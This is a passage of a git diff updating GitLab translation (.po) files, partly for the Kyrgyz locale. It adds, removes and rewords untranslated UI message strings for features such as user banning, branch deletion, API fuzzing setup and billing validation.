@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/ky_KG/gitlab.po b/locale/ky_KG/gitlab.po
index 2184d830aac..b163919d916 100644
--- a/locale/ky_KG/gitlab.po
+++ b/locale/ky_KG/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ky\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:13\n"
+"PO-Revision-Date: 2021-06-01 20:25\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
